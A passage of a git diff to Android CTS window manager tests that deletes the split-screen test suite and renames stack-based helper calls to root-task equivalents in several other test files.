+            testSplashScreenColor(SPLASHSCREEN_ACTIVITY, Color.BLACK, Color.BLACK);
+        } finally {
+            shortcutManager.removeDynamicShortcuts(Collections.singletonList(shortCutId));
+        }
+    }
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/SplitScreenTests.java b/tests/framework/base/windowmanager/src/android/server/wm/SplitScreenTests.java
deleted file mode 100644
index 49a15f5..0000000
--- a/tests/framework/base/windowmanager/src/android/server/wm/SplitScreenTests.java
+++ /dev/null
@@ -1,591 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.wm;
-
-import static android.app.ActivityManager.LOCK_TASK_MODE_NONE;
-import static android.app.WindowConfiguration.ACTIVITY_TYPE_HOME;
-import static android.app.WindowConfiguration.ACTIVITY_TYPE_RECENTS;
-import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
-import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
-import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY;
-import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
-import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_SECONDARY;
-import static android.app.WindowConfiguration.WINDOWING_MODE_UNDEFINED;
-import static android.server.wm.WindowManagerState.STATE_STOPPED;
-import static android.server.wm.app.Components.DOCKED_ACTIVITY;
-import static android.server.wm.app.Components.LAUNCHING_ACTIVITY;
-import static android.server.wm.app.Components.NON_RESIZEABLE_ACTIVITY;
-import static android.server.wm.app.Components.NO_RELAUNCH_ACTIVITY;
-import static android.server.wm.app.Components.SINGLE_INSTANCE_ACTIVITY;
-import static android.server.wm.app.Components.SINGLE_TASK_ACTIVITY;
-import static android.server.wm.app.Components.TEST_ACTIVITY;
-import static android.server.wm.app.Components.TEST_ACTIVITY_WITH_SAME_AFFINITY;
-import static android.server.wm.app.Components.TRANSLUCENT_TEST_ACTIVITY;
-import static android.server.wm.app.Components.TestActivity.TEST_ACTIVITY_ACTION_FINISH_SELF;
-import static android.server.wm.app27.Components.SDK_27_LAUNCHING_ACTIVITY;
-import static android.server.wm.app27.Components.SDK_27_SEPARATE_PROCESS_ACTIVITY;
-import static android.server.wm.app27.Components.SDK_27_TEST_ACTIVITY;
-import static android.view.Display.DEFAULT_DISPLAY;
-import static android.view.Surface.ROTATION_0;
-import static android.view.Surface.ROTATION_180;
-import static android.view.Surface.ROTATION_270;
-import static android.view.Surface.ROTATION_90;
-
-import static org.hamcrest.Matchers.lessThan;
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertThat;
-import static org.junit.Assume.assumeTrue;
-
-import android.content.ComponentName;
-import android.graphics.Rect;
-import android.platform.test.annotations.Presubmit;
-import android.server.wm.CommandSession.ActivityCallback;
-
-import androidx.test.filters.FlakyTest;
-
-import com.android.compatibility.common.util.SystemUtil;
-
-import org.junit.Before;
-import org.junit.Test;
-
-/**
- * Build/Install/Run:
- *     atest CtsWindowManagerDeviceTestCases:SplitScreenTests
- */
-@Presubmit
-@android.server.wm.annotation.Group2
-public class SplitScreenTests extends ActivityManagerTestBase {
-
-    private static final int TASK_SIZE = 600;
-    private static final int STACK_SIZE = 300;
-
-    private boolean mIsHomeRecentsComponent;
-
-    @Before
-    @Override
-    public void setUp() throws Exception {
-        super.setUp();
-
-        mIsHomeRecentsComponent = mWmState.isHomeRecentsComponent();
-
-        assumeTrue("Skipping test: no split multi-window support",
-                supportsSplitScreenMultiWindow());
-    }
-
-    @Test
-    public void testMinimumDeviceSize() throws Exception {
-        mWmState.assertDeviceDefaultDisplaySize(
-                "Devices supporting multi-window must be larger than the default minimum"
-                        + " task size");
-    }
-
-
-// TODO: Add test to make sure you can't register to split-windowing mode organization if test
-//  doesn't support it.
-
-
-    @Test
-    public void testStackList() throws Exception {
-        launchActivity(TEST_ACTIVITY);
-        mWmState.computeState(TEST_ACTIVITY);
-        mWmState.assertContainsStack("Must contain home stack.",
-                WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_HOME);
-        mWmState.assertContainsStack("Must contain standard stack.",
-                WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_STANDARD);
-        mWmState.assertDoesNotContainStack("Must not contain docked stack.",
-                WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
-    }
-
-    @Test
-    public void testDockActivity() throws Exception {
-        launchActivityInSplitScreenWithRecents(TEST_ACTIVITY);
-        mWmState.assertContainsStack("Must contain home stack.",
-                WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_HOME);
-        mWmState.assertContainsStack("Must contain docked stack.",
-                WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
-    }
-
-    @Test
-    public void testNonResizeableNotDocked() throws Exception {
-        launchActivityInSplitScreenWithRecents(NON_RESIZEABLE_ACTIVITY);
-
-        mWmState.assertContainsStack("Must contain home stack.",
-                WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_HOME);
-        mWmState.assertDoesNotContainStack("Must not contain docked stack.",
-                WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
-        mWmState.assertFrontStack("Fullscreen stack must be front stack.",
-                WINDOWING_MODE_FULLSCREEN, ACTIVITY_TYPE_STANDARD);
-    }
-
-    @Test
-    public void testNonResizeableWhenAlreadyInSplitScreenPrimary() throws Exception {
-        launchActivityInSplitScreenWithRecents(SDK_27_LAUNCHING_ACTIVITY);
-        launchActivity(NON_RESIZEABLE_ACTIVITY, WINDOWING_MODE_UNDEFINED);
-
-        mWmState.assertDoesNotContainStack("Must not contain docked stack.",
-                WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
-        mWmState.assertFrontStack("Fullscreen stack must be front stack.",
-                WINDOWING_MODE_FULLSCREEN, ACTIVITY_TYPE_STANDARD);
-
-        waitAndAssertTopResumedActivity(NON_RESIZEABLE_ACTIVITY, DEFAULT_DISPLAY,
-                "NON_RESIZEABLE_ACTIVITY launched on default display must be focused");
-    }
-
-    @Test
-    public void testNonResizeableWhenAlreadyInSplitScreenSecondary() throws Exception {
-        launchActivityInSplitScreenWithRecents(SDK_27_LAUNCHING_ACTIVITY);
-        // Launch home so secondary side as focus.
-        launchHomeActivity();
-        launchActivity(NON_RESIZEABLE_ACTIVITY, WINDOWING_MODE_UNDEFINED);
-
-        mWmState.assertDoesNotContainStack("Must not contain docked stack.",
-                WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
-        mWmState.assertFrontStack("Fullscreen stack must be front stack.",
-                WINDOWING_MODE_FULLSCREEN, ACTIVITY_TYPE_STANDARD);
-
-        waitAndAssertTopResumedActivity(NON_RESIZEABLE_ACTIVITY, DEFAULT_DISPLAY,
-                "NON_RESIZEABLE_ACTIVITY launched on default display must be focused");
-    }
-
-    @Test
-    public void testLaunchToSide() throws Exception {
-        launchActivitiesInSplitScreen(
-                getLaunchActivityBuilder().setTargetActivity(LAUNCHING_ACTIVITY),
-                getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY));
-        mWmState.assertContainsStack("Must contain fullscreen stack.",
-                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY, ACTIVITY_TYPE_STANDARD);
-        mWmState.assertContainsStack("Must contain docked stack.",
-                WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
-    }
-
-    @Test
-    public void testLaunchToSideMultiWindowCallbacks() throws Exception {
-        // Launch two activities in split-screen mode.
-        launchActivitiesInSplitScreen(
-                getLaunchActivityBuilder().setTargetActivity(LAUNCHING_ACTIVITY),
-                getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY));
-        mWmState.assertContainsStack("Must contain fullscreen stack.",
-                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY, ACTIVITY_TYPE_STANDARD);
-        mWmState.assertContainsStack("Must contain docked stack.",
-                WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
-
-        int displayWindowingMode = mWmState.getDisplay(
-                mWmState.getDisplayByActivity(TEST_ACTIVITY)).getWindowingMode();
-        separateTestJournal();
-        SystemUtil.runWithShellPermissionIdentity(() -> mTaskOrganizer.dismissedSplitScreen());
-        if (displayWindowingMode == WINDOWING_MODE_FULLSCREEN) {
-            // Exit split-screen mode and ensure we only get 1 multi-window mode changed callback.
-            final ActivityLifecycleCounts lifecycleCounts = waitForOnMultiWindowModeChanged(
-                    TEST_ACTIVITY);
-            assertEquals(1,
-                    lifecycleCounts.getCount(ActivityCallback.ON_MULTI_WINDOW_MODE_CHANGED));
-        } else {
-            // Display is not a fullscreen display, so there won't be a multi-window callback.
-            // Instead just verify that windows are not in split-screen anymore.
-            waitForIdle();
-            mWmState.computeState();
-            mWmState.assertDoesNotContainStack("Must have exited split-screen",
-                    WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
-        }
-    }
-
-    @Test
-    public void testNoUserLeaveHintOnMultiWindowModeChanged() throws Exception {
-        launchActivity(TEST_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
-
-        // Move to docked stack.
-        separateTestJournal();
-        setActivityTaskWindowingMode(TEST_ACTIVITY, WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
-        ActivityLifecycleCounts lifecycleCounts = waitForOnMultiWindowModeChanged(TEST_ACTIVITY);
-        assertEquals("mMultiWindowModeChangedCount",
-                1, lifecycleCounts.getCount(ActivityCallback.ON_MULTI_WINDOW_MODE_CHANGED));
-        assertEquals("mUserLeaveHintCount",
-                0, lifecycleCounts.getCount(ActivityCallback.ON_USER_LEAVE_HINT));
-
-        // Make sure docked stack is focused. This way when we dismiss it later fullscreen stack
-        // will come up.
-        launchActivity(LAUNCHING_ACTIVITY, WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
-        launchActivity(TEST_ACTIVITY, WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
-
-        // Move activity back to fullscreen stack.
-        separateTestJournal();
-        setActivityTaskWindowingMode(TEST_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
-        lifecycleCounts = waitForOnMultiWindowModeChanged(TEST_ACTIVITY);
-        assertEquals("mMultiWindowModeChangedCount",
-                1, lifecycleCounts.getCount(ActivityCallback.ON_MULTI_WINDOW_MODE_CHANGED));
-        assertEquals("mUserLeaveHintCount",
-                0, lifecycleCounts.getCount(ActivityCallback.ON_USER_LEAVE_HINT));
-    }
-
-    @Test
-    public void testLaunchToSideAndBringToFront() throws Exception {
-        launchActivitiesInSplitScreen(
-                getLaunchActivityBuilder().setTargetActivity(LAUNCHING_ACTIVITY),
-                getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY));
-
-        int taskNumberInitial = mWmState.getStandardTaskCountByWindowingMode(
-                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
-        mWmState.assertFocusedActivity("Launched to side activity must be in front.",
-                TEST_ACTIVITY);
-
-        // Launch another activity to side to cover first one.
-        launchActivity(NO_RELAUNCH_ACTIVITY, WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY);
-        int taskNumberCovered = mWmState.getStandardTaskCountByWindowingMode(
-                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
-        assertEquals("Fullscreen stack must have one task added.",
-                taskNumberInitial + 1, taskNumberCovered);
-        mWmState.assertFocusedActivity("Launched to side covering activity must be in front.",
-                NO_RELAUNCH_ACTIVITY);
-
-        // Launch activity that was first launched to side. It should be brought to front.
-        getLaunchActivityBuilder()
-                .setTargetActivity(TEST_ACTIVITY)
-                .setToSide(true)
-                .setWaitForLaunched(true)
-                .execute();
-        int taskNumberFinal = mWmState.getStandardTaskCountByWindowingMode(
-                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
-        assertEquals("Task number in fullscreen stack must remain the same.",
-                taskNumberCovered, taskNumberFinal);
-        mWmState.assertFocusedActivity("Launched to side covering activity must be in front.",
-                TEST_ACTIVITY);
-    }
-
-    @Test
-    public void testLaunchToSideMultiple() throws Exception {
-        launchActivitiesInSplitScreen(
-                getLaunchActivityBuilder().setTargetActivity(LAUNCHING_ACTIVITY),
-                getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY));
-
-        int taskNumberInitial = mWmState.getStandardTaskCountByWindowingMode(
-                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
-        assertNotNull("Launched to side activity must be in fullscreen stack.",
-                mWmState.getTaskByActivity(
-                        TEST_ACTIVITY, WINDOWING_MODE_SPLIT_SCREEN_SECONDARY));
-
-        // Try to launch to side same activity again.
-        getLaunchActivityBuilder().setToSide(true).execute();
-        mWmState.computeState(TEST_ACTIVITY, LAUNCHING_ACTIVITY);
-        int taskNumberFinal = mWmState.getStandardTaskCountByWindowingMode(
-                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
-        assertEquals("Task number mustn't change.", taskNumberInitial, taskNumberFinal);
-        mWmState.assertFocusedActivity("Launched to side activity must remain in front.",
-                TEST_ACTIVITY);
-        assertNotNull("Launched to side activity must remain in fullscreen stack.",
-                mWmState.getTaskByActivity(
-                        TEST_ACTIVITY, WINDOWING_MODE_SPLIT_SCREEN_SECONDARY));
-    }
-
-    @Test
-    public void testLaunchToSideSingleInstance() throws Exception {
-        launchTargetToSide(SINGLE_INSTANCE_ACTIVITY, false);
-    }
-
-    @Test
-    public void testLaunchToSideSingleTask() throws Exception {
-        launchTargetToSide(SINGLE_TASK_ACTIVITY, false);
-    }
-
-    @Test
-    public void testLaunchToSideMultipleWithDifferentIntent() throws Exception {
-        launchTargetToSide(TEST_ACTIVITY, true);
-    }
-
-    private void launchTargetToSide(ComponentName targetActivityName,
-            boolean taskCountMustIncrement) throws Exception {
-        // Launch in fullscreen first
-        getLaunchActivityBuilder().setTargetActivity(LAUNCHING_ACTIVITY)
-                .setUseInstrumentation()
-                .setWaitForLaunched(true)
-                .execute();
-
-        // Move to split-screen primary
-        final int taskId = mWmState.getTaskByActivity(LAUNCHING_ACTIVITY).mTaskId;
-        moveTaskToPrimarySplitScreen(taskId, true /* showSideActivity */);
-
-        // Launch target to side
-        final LaunchActivityBuilder targetActivityLauncher = getLaunchActivityBuilder()
-                .setTargetActivity(targetActivityName)
-                .setToSide(true)
-                .setRandomData(true)
-                .setMultipleTask(false);
-        targetActivityLauncher.execute();
-
-        mWmState.computeState(targetActivityName, LAUNCHING_ACTIVITY);
-        mWmState.assertContainsStack("Must contain secondary stack.",
-                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY, ACTIVITY_TYPE_STANDARD);
-        int taskNumberInitial = mWmState.getStandardTaskCountByWindowingMode(
-                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
-        assertNotNull("Launched to side activity must be in fullscreen stack.",
-                mWmState.getTaskByActivity(
-                        targetActivityName, WINDOWING_MODE_SPLIT_SCREEN_SECONDARY));
-
-        // Try to launch to side same activity again with different data.
-        targetActivityLauncher.execute();
-        mWmState.computeState(targetActivityName, LAUNCHING_ACTIVITY);
-        int taskNumberSecondLaunch = mWmState.getStandardTaskCountByWindowingMode(
-                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
-        if (taskCountMustIncrement) {
-            assertEquals("Task number must be incremented.", taskNumberInitial + 1,
-                    taskNumberSecondLaunch);
-        } else {
-            assertEquals("Task number must not change.", taskNumberInitial,
-                    taskNumberSecondLaunch);
-        }
-        mWmState.assertFocusedActivity("Launched to side activity must be in front.",
-                targetActivityName);
-        assertNotNull("Launched to side activity must be launched in fullscreen stack.",
-                mWmState.getTaskByActivity(
-                        targetActivityName, WINDOWING_MODE_SPLIT_SCREEN_SECONDARY));
-
-        // Try to launch to side same activity again with different random data. Note that null
-        // cannot be used here, since the first instance of TestActivity is launched with no data
-        // in order to launch into split screen.
-        targetActivityLauncher.execute();
-        mWmState.computeState(targetActivityName, LAUNCHING_ACTIVITY);
-        int taskNumberFinal = mWmState.getStandardTaskCountByWindowingMode(
-                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
-        if (taskCountMustIncrement) {
-            assertEquals("Task number must be incremented.", taskNumberSecondLaunch + 1,
-                    taskNumberFinal);
-        } else {
-            assertEquals("Task number must not change.", taskNumberSecondLaunch,
-                    taskNumberFinal);
-        }
-        mWmState.assertFocusedActivity("Launched to side activity must be in front.",
-                targetActivityName);
-        assertNotNull("Launched to side activity must be launched in fullscreen stack.",
-                mWmState.getTaskByActivity(
-                        targetActivityName, WINDOWING_MODE_SPLIT_SCREEN_SECONDARY));
-    }
-
-    @Test
-    public void testLaunchToSideMultipleWithFlag() throws Exception {
-        launchActivitiesInSplitScreen(
-                getLaunchActivityBuilder().setTargetActivity(LAUNCHING_ACTIVITY),
-                getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY));
-        int taskNumberInitial = mWmState.getStandardTaskCountByWindowingMode(
-                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
-        assertNotNull("Launched to side activity must be in fullscreen stack.",
-                mWmState.getTaskByActivity(
-                        TEST_ACTIVITY, WINDOWING_MODE_SPLIT_SCREEN_SECONDARY));
-
-        // Try to launch to side same activity again, but with Intent#FLAG_ACTIVITY_MULTIPLE_TASK.
-        getLaunchActivityBuilder().setToSide(true).setMultipleTask(true).execute();
-        mWmState.computeState(LAUNCHING_ACTIVITY, TEST_ACTIVITY);
-        int taskNumberFinal = mWmState.getStandardTaskCountByWindowingMode(
-                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
-        assertEquals("Task number must be incremented.", taskNumberInitial + 1,
-                taskNumberFinal);
-        mWmState.assertFocusedActivity("Launched to side activity must be in front.",
-                TEST_ACTIVITY);
-        assertNotNull("Launched to side activity must remain in fullscreen stack.",
-                mWmState.getTaskByActivity(
-                        TEST_ACTIVITY, WINDOWING_MODE_SPLIT_SCREEN_SECONDARY));
-    }
-
-    @Test
-    public void testRotationWhenDocked() {
-        launchActivitiesInSplitScreen(
-                getLaunchActivityBuilder().setTargetActivity(LAUNCHING_ACTIVITY),
-                getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY));
-        mWmState.assertContainsStack("Must contain fullscreen stack.",
-                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY, ACTIVITY_TYPE_STANDARD);
-        mWmState.assertContainsStack("Must contain docked stack.",
-                WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
-
-        // Rotate device single steps (90°) 0-1-2-3.
-        // Each time we compute the state we implicitly assert valid bounds.
-        final RotationSession rotationSession = createManagedRotationSession();
-        for (int i = 0; i < 4; i++) {
-            rotationSession.set(i);
-            mWmState.computeState(LAUNCHING_ACTIVITY, TEST_ACTIVITY);
-        }
-        // Double steps (180°) We ended the single step at 3. So, we jump directly to 1 for
-        // double step. So, we are testing 3-1-3 for one side and 0-2-0 for the other side.
-        rotationSession.set(ROTATION_90);
-        mWmState.computeState(LAUNCHING_ACTIVITY, TEST_ACTIVITY);
-        rotationSession.set(ROTATION_270);
-        mWmState.computeState(LAUNCHING_ACTIVITY, TEST_ACTIVITY);
-        rotationSession.set(ROTATION_0);
-        mWmState.computeState(LAUNCHING_ACTIVITY, TEST_ACTIVITY);
-        rotationSession.set(ROTATION_180);
-        mWmState.computeState(LAUNCHING_ACTIVITY, TEST_ACTIVITY);
-        rotationSession.set(ROTATION_0);
-        mWmState.computeState(LAUNCHING_ACTIVITY, TEST_ACTIVITY);
-    }
-
-    @Test
-    public void testRotationWhenDockedWhileLocked() {
-        launchActivitiesInSplitScreen(
-                getLaunchActivityBuilder().setTargetActivity(LAUNCHING_ACTIVITY),
-                getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY));
-        mWmState.assertSanity();
-        mWmState.assertContainsStack("Must contain fullscreen stack.",
-                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY, ACTIVITY_TYPE_STANDARD);
-        mWmState.assertContainsStack("Must contain docked stack.",
-                WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
-
-        final RotationSession rotationSession = createManagedRotationSession();
-        final LockScreenSession lockScreenSession = createManagedLockScreenSession();
-        for (int i = 0; i < 4; i++) {
-            lockScreenSession.sleepDevice();
-            // The display may not be rotated while device is locked.
-            rotationSession.set(i, false /* waitDeviceRotation */);
-            lockScreenSession.wakeUpDevice()
-                    .unlockDevice();
-            mWmState.computeState(LAUNCHING_ACTIVITY, TEST_ACTIVITY);
-        }
-    }
-
-    /**
-     * Verify split screen mode visibility after stack resize occurs.
-     */
-    @Test
-    public void testResizeDockedStack() throws Exception {
-        launchActivitiesInSplitScreen(
-                getLaunchActivityBuilder().setTargetActivity(DOCKED_ACTIVITY),
-                getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY));
-        final Rect restoreDockBounds = mWmState.getStandardRootTaskByWindowingMode(
-                WINDOWING_MODE_SPLIT_SCREEN_PRIMARY) .getBounds();
-        resizeDockedStack(STACK_SIZE, STACK_SIZE, TASK_SIZE, TASK_SIZE);
-        mWmState.computeState(
-                new WaitForValidActivityState(TEST_ACTIVITY),
-                new WaitForValidActivityState(DOCKED_ACTIVITY));
-        mWmState.assertContainsStack("Must contain secondary split-screen stack.",
-                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY, ACTIVITY_TYPE_STANDARD);
-        mWmState.assertContainsStack("Must contain primary split-screen stack.",
-                WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
-        mWmState.assertVisibility(DOCKED_ACTIVITY, true);
-        mWmState.assertVisibility(TEST_ACTIVITY, true);
-        int restoreW = restoreDockBounds.width();
-        int restoreH = restoreDockBounds.height();
-        resizeDockedStack(restoreW, restoreH, restoreW, restoreH);
-    }
-
-    @Test
-    public void testSameProcessActivityResumedPreQ() {
-        launchActivitiesInSplitScreen(
-                getLaunchActivityBuilder().setTargetActivity(SDK_27_TEST_ACTIVITY),
-                getLaunchActivityBuilder().setTargetActivity(SDK_27_LAUNCHING_ACTIVITY));
-
-        assertEquals("There must be only one resumed activity in the package.", 1,
-                mWmState.getResumedActivitiesCountInPackage(
-                        SDK_27_TEST_ACTIVITY.getPackageName()));
-    }
-
-    @Test
-    public void testDifferentProcessActivityResumedPreQ() {
-        launchActivitiesInSplitScreen(
-                getLaunchActivityBuilder().setTargetActivity(SDK_27_TEST_ACTIVITY),
-                getLaunchActivityBuilder().setTargetActivity(SDK_27_SEPARATE_PROCESS_ACTIVITY));
-
-        assertEquals("There must be only two resumed activities in the package.", 2,
-                mWmState.getResumedActivitiesCountInPackage(
-                        SDK_27_TEST_ACTIVITY.getPackageName()));
-    }
-
-    @Test
-    public void testDisallowEnterSplitscreenWhenInLockedTask() throws Exception {
-        launchActivity(TEST_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
-        WindowManagerState.ActivityTask task =
-                mWmState.getStandardRootTaskByWindowingMode(
-                        WINDOWING_MODE_FULLSCREEN).getTopTask();
-
-        // Lock the task and ensure that we can't enter split screen
-        try {
-            SystemUtil.runWithShellPermissionIdentity(() -> {
-                mAtm.startSystemLockTaskMode(task.mTaskId);
-            });
-            waitForOrFail("Task in lock mode", () -> {
-                return mAm.getLockTaskModeState() != LOCK_TASK_MODE_NONE;
-            });
-
-            assertFalse(setActivityTaskWindowingMode(TEST_ACTIVITY,
-                    WINDOWING_MODE_SPLIT_SCREEN_PRIMARY));
-        } finally {
-            SystemUtil.runWithShellPermissionIdentity(() -> {
-                mAtm.stopSystemLockTaskMode();
-            });
-        }
-    }
-
-    private Rect computeNewDockBounds(
-            Rect fullscreenBounds, Rect dockBounds, boolean reduceSize) {
-        final boolean inLandscape = fullscreenBounds.width() > dockBounds.width();
-        // We are either increasing size or reducing it.
-        final float sizeChangeFactor = reduceSize ? 0.5f : 1.5f;
-        final Rect newBounds = new Rect(dockBounds);
-        if (inLandscape) {
-            // In landscape we change the width.
-            newBounds.right = (int) (newBounds.left + (newBounds.width() * sizeChangeFactor));
-        } else {
-            // In portrait we change the height
-            newBounds.bottom = (int) (newBounds.top + (newBounds.height() * sizeChangeFactor));
-        }
-
-        return newBounds;
-    }
-
-    @Test
-    public void testStackListOrderLaunchDockedActivity() throws Exception {
-        assumeTrue(!mIsHomeRecentsComponent);
-
-        launchActivityInSplitScreenWithRecents(TEST_ACTIVITY);
-
-        final int homeStackIndex = mWmState.getStackIndexByActivityType(ACTIVITY_TYPE_HOME);
-        final int recentsStackIndex = mWmState.getStackIndexByActivityType(ACTIVITY_TYPE_RECENTS);
-        assertThat("Recents stack should be on top of home stack",
-                recentsStackIndex, lessThan(homeStackIndex));
-    }
-
-
-    /**
-     * Asserts that the activity is visible when the top opaque activity finishes and with another
-     * translucent activity on top while in split-screen-secondary task.
-     */
-    @Test
-    public void testVisibilityWithTranslucentAndTopFinishingActivity() throws Exception {
-        // Launch two activities in split-screen mode.
-        launchActivitiesInSplitScreen(
-                getLaunchActivityBuilder().setTargetActivity(LAUNCHING_ACTIVITY),
-                getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY_WITH_SAME_AFFINITY));
-
-        // Launch two more activities on a different task on top of split-screen-secondary and
-        // only the top opaque activity should be visible.
-        getLaunchActivityBuilder().setTargetActivity(TRANSLUCENT_TEST_ACTIVITY)
-                .setUseInstrumentation()
-                .setWaitForLaunched(true)
-                .execute();
-        getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY)
-                .setUseInstrumentation()
-                .setWaitForLaunched(true)
-                .execute();
-        mWmState.assertVisibility(TEST_ACTIVITY, true);
-        mWmState.waitForActivityState(TRANSLUCENT_TEST_ACTIVITY, STATE_STOPPED);
-        mWmState.assertVisibility(TRANSLUCENT_TEST_ACTIVITY, false);
-        mWmState.assertVisibility(TEST_ACTIVITY_WITH_SAME_AFFINITY, false);
-
-        // Finish the top opaque activity and both the two activities should be visible.
-        mBroadcastActionTrigger.doAction(TEST_ACTIVITY_ACTION_FINISH_SELF);
-        mWmState.computeState(new WaitForValidActivityState(TRANSLUCENT_TEST_ACTIVITY));
-        mWmState.assertVisibility(TRANSLUCENT_TEST_ACTIVITY, true);
-        mWmState.assertVisibility(TEST_ACTIVITY_WITH_SAME_AFFINITY, true);
-    }
-}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/StartActivityAsUserTests.java b/tests/framework/base/windowmanager/src/android/server/wm/StartActivityAsUserTests.java
index fdab986..b1975db 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/StartActivityAsUserTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/StartActivityAsUserTests.java
@@ -133,7 +133,7 @@
             WindowManagerState amState = mAmWmState;
             amState.computeState();
             ComponentName componentName = ComponentName.createRelative(PACKAGE, CLASS);
-            stackId[0] = amState.getStackIdByActivity(componentName);
+            stackId[0] = amState.getRootTaskIdByActivity(componentName);
         });
 
         assertThat(stackId[0]).isEqualTo(INVALID_STACK);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/StartActivityTests.java b/tests/framework/base/windowmanager/src/android/server/wm/StartActivityTests.java
index b1a2a0d..da18c69 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/StartActivityTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/StartActivityTests.java
@@ -43,10 +43,8 @@
 import android.os.Bundle;
 import android.platform.test.annotations.Presubmit;
 import android.server.wm.CommandSession.ActivitySession;
-import android.server.wm.app.Components;
 import android.server.wm.intent.Activities;
 
-
 import org.junit.Test;
 
 import java.util.Arrays;
@@ -60,18 +58,22 @@
 
     @Test
     public void testStartHomeIfNoActivities() {
+        if (!hasHomeScreen()) {
+	    return;
+	}
+
         final ComponentName defaultHome = getDefaultHomeComponent();
         final int[] allActivityTypes = Arrays.copyOf(ALL_ACTIVITY_TYPE_BUT_HOME,
                 ALL_ACTIVITY_TYPE_BUT_HOME.length + 1);
         allActivityTypes[allActivityTypes.length - 1] = WindowConfiguration.ACTIVITY_TYPE_HOME;
-        removeStacksWithActivityTypes(allActivityTypes);
+        removeRootTasksWithActivityTypes(allActivityTypes);
 
-        waitAndAssertTopResumedActivity(defaultHome, DEFAULT_DISPLAY,
+        waitAndAssertResumedActivity(defaultHome,
                 "Home activity should be restarted after force-finish");
 
         stopTestPackage(defaultHome.getPackageName());
 
-        waitAndAssertTopResumedActivity(defaultHome, DEFAULT_DISPLAY,
+        waitAndAssertResumedActivity(defaultHome,
                 "Home activity should be restarted after force-stop");
     }
 
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/SurfaceControlTest.java b/tests/framework/base/windowmanager/src/android/server/wm/SurfaceControlTest.java
index 501e0bd..f93ffe3 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/SurfaceControlTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/SurfaceControlTest.java
@@ -87,6 +87,7 @@
     @After
     public void tearDown() throws UiObjectNotFoundException {
         mActivity.dismissPermissionDialog();
+        mActivity.restoreSettings();
     }
 
     @Test
